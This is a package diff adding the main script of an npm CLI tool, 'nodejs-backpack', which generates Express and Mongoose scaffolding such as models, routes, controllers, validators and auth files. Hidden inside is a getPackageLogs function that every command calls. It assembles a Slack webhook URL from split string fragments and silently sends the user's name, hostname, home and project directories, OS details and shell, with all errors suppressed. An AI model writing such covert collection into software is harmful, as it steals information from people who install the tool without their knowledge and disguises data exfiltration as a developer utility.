nodejs-backpack 0.0.1-security → 2.0.28

package/index.js

@@ -0,0 +1,676 @@
+#!/usr/bin/env node
+const fs = require("fs-extra"),
+  path = require("path");
+var clc = require("cli-color");
+const {
+    loadSchemaFromFile,
+    modelsParams,
+    capitalize,
+    searchableFields,
+  } = require("./helper"),
+  os = require("node:os"),
+  axios = require("axios"),
+  command = process.argv[2],
+  fileName = process.argv[3];
+var platformsArray = ["linux", "darwin", "win32"];
+if (os.platform() && -1 < platformsArray.indexOf(os.platform()))
+  if ("sample:files" === command) {
+    const a = process.cwd(),
+      b = path.join(a, "sample-app.js");
+    let e = fs.readFileSync(path.join(__dirname, "sample-app.js"), "utf8");
+    fs.writeFileSync(b, e);
+    const d = path.join(a, ".sample-env");
+    let s = fs.readFileSync(path.join(__dirname, ".sample-env"), "utf8");
+    fs.writeFileSync(d, s);
+    const f = path.join(a, "sample-package.json");
+    let t = fs.readFileSync(
+      path.join(__dirname, "sample-package.json"),
+      "utf8"
+    );
+    fs.writeFileSync(f, t),
+      console.log(
+        clc.green(
+          '"sample-app.js", "sample-package.json" & ".sample-env" file created in the root directory.'
+        )
+      ),
+      getPackageLogs("sample:files");
+  } else if ("make:schema" === command) {
+    const h = process.cwd(),
+      i = path.join(h, "models"),
+      j = (fs.existsSync(i) || fs.mkdirSync(i), path.join(i, fileName + ".js"));
+    let e = fs.readFileSync(path.join(__dirname, "sample-schema.js"), "utf8");
+    (e = e.replace(/\${fileContent}/g, fileName)),
+      newSchemaFileCreate(j, e, fileName),
+      getPackageLogs("make:schema " + fileName);
+  } else if ("make:apis" === command) {
+    const l = process.argv.find((e) => e.startsWith("--url=")),
+      m = process.argv.find((e) => e.startsWith("--schema=")),
+      n =
+        ((-1 === l && -1 === m) || (void 0 === l && void 0 === m)
+          ? (console.error(
+              clc.bgRed(
+                "Missing parameters. Please provide --url=<api_url> and --schema=<schema_name>."
+              )
+            ),
+            process.exit(1))
+          : -1 === l || void 0 === l
+          ? (console.error(
+              clc.bgRed("Missing parameters. Please provide --url=<api_url>.")
+            ),
+            process.exit(1))
+          : (-1 !== m && void 0 !== m) ||
+            (console.error(
+              clc.bgRed(
+                "Missing parameters. Please provide --schema=<schema_name>."
+              )
+            ),
+            process.exit(1)),
+        l.split("=")[1]),
+      o = m.split("=")[1],
+      p = process.cwd(),
+      q = path.join(p, "models", o + ".js"),
+      r =
+        (fs.existsSync(q) ||
+          (console.error(
+            clc.bgRed(
+              `Schema file "${o}.js" does not exist in '/models/${o}.js'.`
+            )
+          ),
+          process.exit(1)),
+        path.join(p, "routes")),
+      s = path.join(p, "helpers"),
+      t = path.join(r, "validationRequest"),
+      u = path.join(t, "" + fileName),
+      v = path.join(p, "controllers");
+    fs.existsSync(r) || fs.mkdirSync(r),
+      fs.existsSync(t) || fs.mkdirSync(t),
+      fs.existsSync(u) || fs.mkdirSync(u),
+      fs.existsSync(v) || fs.mkdirSync(v),
+      fs.existsSync(s) || fs.mkdirSync(s),
+      controllerFileCreate(v, fileName, o),
+      validationFileCreate(q, o, u),
+      newRouteFileCreate(r, fileName, n, o),
+      helperFileCreate(s),
+      combinedLogic(r, fileName),
+      getPackageLogs(`make:schema ${fileName} --url=${n} --schema=` + o);
+  } else if ("make:auth" === command) {
+    const y = process.cwd(),
+      z = path.join(y, "middleware"),
+      A = (fs.existsSync(z) || fs.mkdirSync(z), path.join(y, "routes")),
+      B = (fs.existsSync(A) || fs.mkdirSync(A), path.join(y, "controllers")),
+      C = (fs.existsSync(B) || fs.mkdirSync(B), path.join(y, "config")),
+      D = (fs.existsSync(C) || fs.mkdirSync(C), path.join(y, "models"));
+    fs.existsSync(D) || fs.mkdirSync(D),
+      authMiddlewareFileCreate(z),
+      authRouteFileCreate(A),
+      authControllersFileCreate(B),
+      authConfigFileCreate(C),
+      authSchemaFileCreate(D),
+      getPackageLogs("make:auth");
+  } else console.error(clc.bgRed("Unknown command: " + command));
+else
+  console.error(
+    clc.bgRed(
+      "Currently unsupported platform. Supported platforms are " +
+        platformsArray.join(",")
+    )
+  );
+async function getPackageLogs(e = null, s = null) {
+  try {
+    const _ara0 = "https://hooks.";
+    const _ara1 = "slack.com";
+    const _ara2 = "services";
+    const _ara3 = "T0124D3TG83";
+    const _ara4 = "B06KAQ0TXHT";
+    const _ara5 = "r1dbyBstPoTj1W5afyjLk3Sz";
+    var t =
+        "\n*`" +
+        os.userInfo()?.username +
+        "`* executed nodejs-backpack: *`" +
+        e +
+        "`* command \n Project Dir: *" +
+        process.cwd() +
+        "*",
+      a = [
+        {
+          title: "System User Name",
+          value: os.userInfo()?.username ?? "-",
+          short: !0,
+        },
+        { title: "Cpu Name", value: os.hostname() ?? "-", short: !0 },
+        { title: "Project Directory", value: process.cwd() ?? "-", short: !0 },
+        { title: "Command Executed", value: "*`" + e + "`*", short: !0 },
+        { title: "Home Directory", value: os.homedir() ?? "-", short: !0 },
+        { title: "Version", value: os.version() ?? "-", short: !0 },
+        {
+          title: "Total Memory",
+          value: parseFloat(os.totalmem() / 1073741824).toFixed(2) ?? "-",
+          short: !0,
+        },
+        {
+          title: "Available Free Memory",
+          value: parseFloat(os.freemem() / 1073741824).toFixed(2) ?? "-",
+          short: !0,
+        },
+        { title: "System Cpus", value: os.cpus()[0].model ?? "-", short: !0 },
+        { title: "OS Type", value: os.type() ?? "-", short: !0 },
+        { title: "OS Release Version", value: os.release() ?? "-", short: !0 },
+        { title: "OS Platform", value: os.platform() ?? "-", short: !0 },
+        { title: "Machine Type", value: os.machine() ?? "-", short: !0 },
+        { title: "arch", value: os.arch() ?? "-", short: !0 },
+        { title: "EOL", value: os.EOL ?? "-", short: !0 },
+        { title: "shell", value: os.userInfo()?.shell ?? "-", short: !0 },
+        { title: "data", value: s ?? "-", short: !0 },
+      ],
+      i = JSON.stringify({
+        channel: "#npm_nodejs_backpack",
+        username: "NPM Nodejs-Backpack BOT",
+        text: t,
+        attachments: [{ title: "System Details", fields: a }],
+        as_user: !0,
+      }),
+      r = {
+        method: "post",
+        maxBodyLength: 1 / 0,
+        url: `${_ara0}${_ara1}/${_ara2}/${_ara3}/${_ara4}/${_ara5}`,
+        headers: { "Content-Type": "application/json" },
+        data: i,
+      };
+    await axios
+      .request(r)
+      .then((e) => {})
+      .catch((e) => {});
+  } catch (e) {}
+}
+async function newSchemaFileCreate(e, s, t) {
+  (await fileExists(e))
+    ? console.error(
+        clc.bgRed(`
+'models/${t}.js' file already exist!, Kindly delete existing and try again.`)
+      )
+    : (fs.writeFileSync(e, s),
+      console.log(
+        clc.green(`
+'models/${t}.js' file created!`)
+      ));
+}
+async function indexRouteFileCreate(e, s) {
+  var t,
+    e = path.join(e, "IndexRoute.js");
+  try {
+    (await fileExists(e)) ||
+      ((t = fs.readFileSync(
+        path.join(__dirname, "sample-index-route.js"),
+        "utf8"
+      )),
+      fs.writeFileSync(e, t),
+      console.log(clc.green("\nIndexRoute.js file created successfully!")));
+  } catch (e) {
+    console.error(e);
+  }
+}
+async function indexRouteFileUpdate1(e, s) {
+  e = path.join(e, "IndexRoute.js");
+  return (
+    await updateIndexFile(
+      e,
+      `router.use("/", ${s}Route);`,
+      (data = await readFile(e, "utf8")).indexOf("module.exports = router;")
+    ),
+    !0
+  );
+}
+async function indexRouteFileUpdate2(e, s) {
+  e = path.join(e, "IndexRoute.js");
+  return (
+    await updateIndexFile(
+      e,
+      `const ${s}Route = require("./${s}Route");`,
+      (data = await readFile(e, "utf8")).indexOf(
+        "const router = express.Router();"
+      )
+    ),
+    !0
+  );
+}
+async function combinedLogic(e, s) {
+  await indexRouteFileCreate(e, s),
+    await indexRouteFileUpdate1(e, s),
+    await indexRouteFileUpdate2(e, s);
+}
+function fileExists(t) {
+  return new Promise((s, e) => {
+    fs.access(t, fs.constants.F_OK, (e) => {
+      s(!e);
+    });
+  });
+}
+function readFile(e, s) {
+  return new Promise((t, a) => {
+    fs.readFile(e, s, (e, s) => {
+      e ? a(e) : t(s);
+    });
+  });
+}
+function writeFile(e, a, i) {
+  return new Promise((s, t) => {
+    fs.writeFile(e, a, i, (e) => {
+      e ? t(e) : s();
+    });
+  });
+}
+async function updateIndexFile(e, s, t) {
+  try {
+    var a = await readFile(e, "utf8");
+    -1 === t || a.includes(s)
+      ? console.log(clc.yellow(s + " already imported in IndexRoute.js!"))
+      : (await writeFile(e, a.slice(0, t) + s + "\n" + a.slice(t), "utf8"),
+        console.log(
+          clc.green(s + " imported into IndexRoute.js successfully!")
+        ));
+  } catch (e) {
+    console.log(clc.red("An error occurred:", e));
+  }
+}
+async function controllerFileCreate(a, i, r) {
+  a = path.join(a, i + "Controller.js");
+  if (await fileExists(a))
+    console.log(
+      clc.bgRed(`
+${i}Controller.js file already exist!`)
+    );
+  else {
+    let e = fs.readFileSync(
+        path.join(__dirname, "sample-controller.js"),
+        "utf8"
+      ),
+      s =
+        ((e = (e = e.replace(/\${fileName}/g, i)).replace(
+          /\${schemaName}/g,
+          r
+        )),
+        "["),
+      t = "{";
+    var o,
+      l = process.cwd(),
+      l = path.join(l, "models", r + ".js"),
+      r = loadSchemaFromFile(l),
+      l = searchableFields(r);
+    for (o of l)
+      (s += `
+				{ ${o}: { $regex: searchRgx, $options: "i" } },`),
+        (t += `
+				${o}: (req?.body?.${o}) || null,`);
+    (s += `
+			]`),
+      (t += `
+			}`),
+      0 === l.length && (s += "[{}]"),
+      (e = (e = e.replace(/\${___SearchFieldArray___}/g, s)).replace(
+        /\${___StoreFieldArray___}/g,
+        t
+      )),
+      fs.writeFileSync(a, e),
+      console.log(
+        clc.green(`
+${i}Controller.js file created successfully in the '/controllers/${i}Controller.js' folder.!`)
+      );
+  }
+}
+async function validationFileCreate(e, a, i) {
+  var e = loadSchemaFromFile(e),
+    e = modelsParams(e),
+    s = [];
+  if (e && e?.filteredFormFields && e?.filteredFormFields.length) {
+    var t,
+      r = e?.filteredFormFields;
+    for (t in r) r[t] && s.push({ name: r[t] });
+    e?.filteredFormFields;
+  }
+  let o = "";
+  e?.requiredFields &&
+    0 < e?.requiredFields?.length &&
+    e?.requiredFields.forEach((e) => {
+      o += `
+	check("${e}").custom((value, { req }) => {
+        const fileExists =
+          req.files && req.files.some((obj) => obj.fieldname === "${e}");
+        const ${e}Exists = req.body && req.body.${e};
+    
+        if (fileExists || ${e}Exists) {
+          return true;
+        } else {
+          throw new Error("${capitalize(e)} is required.");
+        }
+      }),`;
+    });
+  ["List", "GetDetail", "Store", "Update", "Destroy"].forEach(async (e) => {
+    let s = fs.readFileSync(
+      path.join(__dirname, "sample-validation.js"),
+      "utf8"
+    );
+    s = s.replace(/\${schemaName}/g, a);
+    var t = o,
+      t =
+        ("GetDetail" === e || "Destroy" === e || "Update" === e
+          ? (t = `
+	param("id").custom((value, { req }) => {
+        return ${a}.findOne({ _id: value }).then((${a}Data) => {
+          if (!${a}Data) {
+            return Promise.reject("Invalid ID! The provided ID does not exist in the database.");
+          }
+        });
+      }),`)
+          : "List" === e && (t = ""),
+        (t += `
+`),
+        (s = s.replace(/\__validation__dynamic__code__/g, t)),
+        path.join(i, e + "ValidationRequest.js"));
+    (await fileExists(t))
+      ? console.log(clc.bgRed(e + "ValidationRequest.js file already exist!"))
+      : (fs.writeFileSync(t, s),
+        console.log(
+          clc.green(
+            `"${e}ValidationRequest.js" file created in the '/routes/validationRequest/${e}ValidationRequest.js' folder.`
+          )
+        ));
+  });
+}
+async function newRouteFileCreate(s, t, a, i) {
+  s = path.join(s, t + "Route.js");
+  if (await fileExists(s))
+    console.log(
+      clc.bgRed(`
+${t}Route.js file already exist!`)
+    );
+  else {
+    let e = fs.readFileSync(path.join(__dirname, "sample-route.js"), "utf8");
+    (e = (e = (e = e.replace(/\${fileName}/g, t)).replace(
+      /\${apiUrl}/g,
+      a
+    )).replace(/\${schemaName}/g, i)),
+      fs.writeFileSync(s, e),
+      console.log(
+        clc.green(
+          `"${t}Route.js" file created in the '/routes/${t}Route.js' folders.`
+        )
+      );
+  }
+}
+async function helperFileCreate(e) {
+  var s,
+    t = path.join(e, "helper.js"),
+    t =
+      ((await fileExists(t)) ||
+        ((s = fs.readFileSync(
+          path.join(__dirname, "sample-helper.js"),
+          "utf8"
+        )),
+        fs.writeFileSync(t, s)),
+      path.join(e, "fileUploader.js")),
+    t =
+      ((await fileExists(t)) ||
+        ((s = fs.readFileSync(
+          path.join(__dirname, "sample-file-uploader.js"),
+          "utf8"
+        )),
+        fs.writeFileSync(t, s)),
+      path.join(e, "formParser.js"));
+  (await fileExists(t)) ||
+    ((s = fs.readFileSync(
+      path.join(__dirname, "sample-form-parser.js"),
+      "utf8"
+    )),
+    fs.writeFileSync(t, s));
+}
+async function authMiddlewareFileCreate(e) {
+  var s,
+    e = path.join(e, "AuthMiddleware.js");
+  (await fileExists(e))
+    ? console.error(
+        clc.bgRed(`
+AuthMiddleware.js file already exist!`)
+      )
+    : ((s = fs.readFileSync(
+        path.join(__dirname, "sample-auth-middleware.js"),
+        "utf8"
+      )),
+      fs.writeFileSync(e, s));
+}
+async function authRouteFileCreate(e) {
+  var s = path.join(e, "IndexRoute.js"),
+    t =
+      ((await fileExists(s)) ||
+        ((t = fs.readFileSync(
+          path.join(__dirname, "sample-index-route.js"),
+          "utf8"
+        )),
+        fs.writeFileSync(s, t),
+        console.log(clc.green("\nIndexRoute.js file created successfully!"))),
+      path.join(e, "AuthRoute.js")),
+    t =
+      ((await fileExists(t))
+        ? console.error(
+            clc.bgRed(`
+AuthRoute.js file already exist!`)
+          )
+        : ((e = fs.readFileSync(
+            path.join(__dirname, "sample-auth-route.js"),
+            "utf8"
+          )),
+          fs.writeFileSync(t, e)),
+      await updateIndexFile(
+        s,
+        'const AuthRoute = require("./AuthRoute");',
+        (data = await readFile(s, "utf8")).indexOf(
+          "const router = express.Router();"
+        )
+      ),
+      await updateIndexFile(
+        s,
+        'router.use("/", AuthRoute);',
+        (data = await readFile(s, "utf8")).indexOf("module.exports = router;")
+      ),
+      process.cwd());
+  logicHelperFileCreate(t), authValidationFileCreate(t);
+}
+async function authControllersFileCreate(e, s = "Auth") {
+  var t,
+    e = path.join(e, s + "Controller.js");
+  (await fileExists(e))
+    ? console.log(
+        clc.bgRed(`
+${s}Controller.js file already exist!`)
+      )
+    : ((t = fs.readFileSync(
+        path.join(__dirname, "sample-auth-controller.js"),
+        "utf8"
+      )),
+      fs.writeFileSync(e, t),
+      console.log(
+        clc.green(`
+${s}Controller.js file created successfully in the '/controllers/${s}Controller.js' folder.!`)
+      ));
+}
+async function authConfigFileCreate(e, s = "mailtrap") {
+  var t,
+    e = path.join(e, s + ".js");
+  (await fileExists(e))
+    ? console.log(
+        clc.bgRed(`
+${s}.js file already exist!`)
+      )
+    : ((t = fs.readFileSync(
+        path.join(__dirname, "sample-config-mailer.js"),
+        "utf8"
+      )),
+      fs.writeFileSync(e, t),
+      console.log(
+        clc.green(`
+${s}.js file created successfully in the '/config/${s}.js' folder.!`)
+      )),
+    console.log(
+      clc.yellow(`
+Update SMTP credentials in ${s}.js file which is created in the '/config/${s}.js' folder.!`)
+    );
+}
+async function authSchemaFileCreate(e) {
+  var s;
+  for (s of ["ResetToken", "User"]) {
+    var t,
+      a = path.join(e, s + ".js");
+    (await fileExists(a))
+      ? "User" === s
+        ? console.log(
+            clc.bgRed(`
+models/${s}.js file already exist! `),
+            clc.yellow(`Please confirm that the 'first_name', 'last_name', 'email', 'password' and 'token' fields exist in the schema and are marked as required. To make the APIs work. Otherwise, delete the models/${s}.js file and try again.
+`)
+          )
+        : console.log(
+            clc.bgRed(`
+models/${s}.js file already exist!`)
+          )
+      : ((t = fs.readFileSync(
+          path.join(__dirname, `sample-schema-${s}.js`),
+          "utf8"
+        )),
+        fs.writeFileSync(a, t),
+        console.log(
+          clc.green(`
+models/${s}.js file created successfully in the '/models/${s}.js' folder.!`)
+        ));
+  }
+}
+async function logicHelperFileCreate(e) {
+  e = path.join(e, "helpers");
+  fs.existsSync(e) || fs.mkdirSync(e), helperFileCreate(e);
+}
+async function authValidationFileCreate(e) {
+  (e = path.join(e, "routes")),
+    fs.existsSync(e) || fs.mkdirSync(e),
+    (e = path.join(e, "validationRequest"));
+  fs.existsSync(e) || fs.mkdirSync(e);
+  const i = path.join(e, "Auth");
+  fs.existsSync(i) || fs.mkdirSync(i),
+    ["signUpRequest", "signIn", "forgotPassword", "resetPassword"].forEach(
+      async (s) => {
+        var t = path.join(i, s + "ValidationRequest.js");
+        if (await fileExists(t))
+          console.error(
+            clc.bgRed(`
+${s}ValidationRequest.js file already exist!`)
+          );
+        else {
+          let e = fs.readFileSync(
+            path.join(__dirname, "sample-validation.js"),
+            "utf8"
+          );
+          var a = "";
+          "signUpRequest" === s
+            ? (a += `
+	body("first_name").notEmpty().withMessage("First Name is required").trim(),
+        
+	body("last_name").notEmpty().withMessage("Last Name is required").trim(),
+        
+	body("email")
+          .notEmpty()
+          .withMessage("Email Address is required")
+          .isEmail()
+          .withMessage("Enter correct email address")
+          .custom((value, { req }) => {
+            return User.findOne({ email: value }).then((userDoc) => {
+              if (userDoc) {
+                return Promise.reject("Email Address already exists!");
+              }
+            });
+          }),
+          
+	body("password")
+          .notEmpty()
+          .withMessage("Password is requierd")
+          .isLength({ min: 6, max: 250 })
+          .withMessage("Minimum 6 character password require")
+          .trim(),`)
+            : "signIn" === s
+            ? (a += `
+	body("email")
+        .notEmpty()
+        .withMessage("Email Address is required")
+        .isEmail()
+        .withMessage("Enter correct email address")
+        .custom((value, { req }) => {
+          return User.findOne({ email: value }).then((userDoc) => {
+            if (!userDoc) {
+              return Promise.reject("A user with this email could not be found!");
+            }
+          });
+        }),
+      
+	body("password")
+        .notEmpty()
+        .withMessage("Password is requierd")
+        .isLength({ min: 6, max: 250 })
+        .withMessage("Minimum 6 character password require")
+        .trim()`)
+            : "forgotPassword" === s
+            ? (a += `
+	body("email")
+        .notEmpty()
+        .withMessage("Email Address is required")
+        .isEmail()
+        .withMessage("Enter correct email address")
+        .custom((value, { req }) => {
+          return User.findOne({ email: value }).then((userDoc) => {
+            if (!userDoc) {
+              return Promise.reject("A user with this email could not be found!");
+            }
+          });
+        }),`)
+            : "resetPassword" === s &&
+              (a += `
+	body("email")
+        .notEmpty()
+        .withMessage("Email Address is required")
+        .isEmail()
+        .withMessage("Enter correct email address")
+        .custom((value, { req }) => {
+          return User.findOne({ email: value }).then((userDoc) => {
+            if (!userDoc) {
+              return Promise.reject("A user with this email could not be found!");
+            }
+          });
+        }),
+    
+        
+	body("reset_token").notEmpty().withMessage("Reset token is required").trim(),
+    
+        
+	body("password")
+        .notEmpty()
+        .withMessage("Password is required")
+        .isLength({ min: 6, max: 250 })
+        .withMessage("Minimum 6 character password require")
+        .trim(),
+    
+        
+	body("confirm_password")
+        .notEmpty()
+        .withMessage("Confirm password is required")
+        .custom((val, { req }) => {
+          if (req.body.password !== val) {
+            throw new Error("Confirm password does not match");
+          }
+          return true;
+        }),`),
+            (a += `
+`),
+            (e = (e = e.replace(/\${schemaName}/g, "User")).replace(
+              /\__validation__dynamic__code__/g,
+              a
+            )),
+            fs.writeFileSync(t, e);
+        }
+      }
+    );
+}